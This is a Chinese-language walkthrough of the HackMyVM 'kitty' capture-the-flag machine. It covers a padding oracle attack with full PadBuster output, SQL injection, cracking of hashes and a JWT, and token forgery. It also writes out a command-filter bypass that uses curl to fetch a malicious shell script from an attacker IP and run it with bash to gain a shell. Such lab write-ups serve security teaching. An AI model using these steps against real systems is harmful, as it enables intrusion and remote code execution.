hackmyvm: kitty walkthrough

0x01 oracle padding

端口扫描:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp  gitea

使用curl访问80端口, 被重定向到http://kitty.hmv.

该网站为一个静态网站，通过ffuf获取到了虚拟主机名 cookie.kitty.hmv.

注册用户test，查看cookie:

使用 oraclepadding.pl 破解该cookie。

➜  ~ ./oraclepadding.pl http://cookie.kitty.hmv/home/index.php OZcSZ4xSsGEpdRpik43lIg0RsEWxBcJG 8 -cookies "auth=OZcSZ4xSsGEpdRpik43lIg0RsEWxBcJG"+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 8144INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***INFO: No error string was provided...starting response analysis*** Response Analysis Complete ***The following response signatures were returned:-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       302     8144    ../login.php
2 **    255     302     0       ../logout.php?err=1
-------------------------------------------------------Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2Continuing test with selection 2[+] Success: (237/256) [Byte 8]
[+] Success: (41/256) [Byte 7]
[+] Success: (219/256) [Byte 6]
[+] Success: (75/256) [Byte 5]
[+] Success: (240/256) [Byte 4]
[+] Success: (143/256) [Byte 3]
[+] Success: (29/256) [Byte 2]
[+] Success: (188/256) [Byte 1]Block 1 Results:
[+] Cipher Text (HEX): 29751a62938de522
[+] Intermediate Bytes (HEX): 4ce47715b126d512
[+] Plain Text: user=tesUse of uninitialized value $plainTextBytes in concatenation (.) or string at ./oraclepadding.pl line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***[+] Success: (220/256) [Byte 8]
[+] Success: (32/256) [Byte 7]
[+] Success: (119/256) [Byte 6]
[+] Success: (112/256) [Byte 5]
[+] Success: (160/256) [Byte 4]
[+] Success: (229/256) [Byte 3]
[+] Success: (139/256) [Byte 2]
[+] Success: (171/256) [Byte 1]                                                                                                                                                                       Block 2 Results:
[+] Cipher Text (HEX): 0d11b045b105c246
[+] Intermediate Bytes (HEX): 5d721d65948ae225
[+] Plain Text: t                                                                                                                                                                                     -------------------------------------------------------
** Finished ***                                                                                                                                                                                       [+] Decrypted value (ASCII): user=test                                                                                                                                                                [+] Decrypted value (HEX): 757365723D7465737407070707070707                                                                                                                                           [+] Decrypted value (Base64): dXNlcj10ZXN0BwcHBwcHBw==                                                                                                                                                -------------------------------------------------------

将用户名改为 admin，获取新的cookie.

0x02 sql injection

更新cookie后，刷新页面后，在页面中出现了 last_login.js，在该js的接口中存在sql注入。

使用 sqlmap, 获取到用户 gitea’s 密码hash和salt.

| 357f47546ba3ab1cf633d3d0c54e2583 | gitea |

| salt | YXZpam5leWFt |

使用 hashcat破解得到密码：

➜  ~ hashcat -m 10 -a 0 357f47546ba3ab1cf633d3d0c54e2583:YXZpam5leWFt /usr/share/wordlists/rockyou.txt --show
357f47546ba3ab1cf633d3d0c54e2583:YXZpam5leWFt:git0ffme

0x03 openapi to shell

使用账户gitea登录host:3000，获取到了新的子域名: http://whythisapiissofast.kitty.hmv.

访问 http://whythisapiissofast.kitty.hmv/openapi.json，检查各个api。

访问 api http://whythisapiissofast.kitty.hmv/api/v2/-1，获取到用户nobody。

访问 api http://whythisapiissofast.kitty.hmv/api/v2/-2，获取到一个私钥。

3. 使用nobody获取access token，这是一个jwt。

4. 使用hashcat破解jwt的password。

伪造token，将用户nobody改为admin, is_admin改为1，超时时间多加点。

6. 通过api /api/v2/secure/{command}执行命令，但是这里存在一个过滤

7. 使用curl远程下载恶意sh，通过bash执行绕过过滤实现命令执行，成功获取shell。

这里需要将nginx的index改为test.sh。

(1) whythisapiissofast.kitty.hmv/api/v2/secure/curl%20-o%20test.sh%20192.168.85.169%20-wget

(2) whythisapiissofast.kitty.hmv/api/v2/secure/bash%20test.sh%20-wget

0x04 get user flag

home目录下存在两个用户。

利用步骤3找到的私钥通过ssh登录用户dyutidhara，成功获取用户flag。

0x05 root提权

试了一些办法都失败了，有成功的小伙伴请在评论区告诉我一声，求帮助。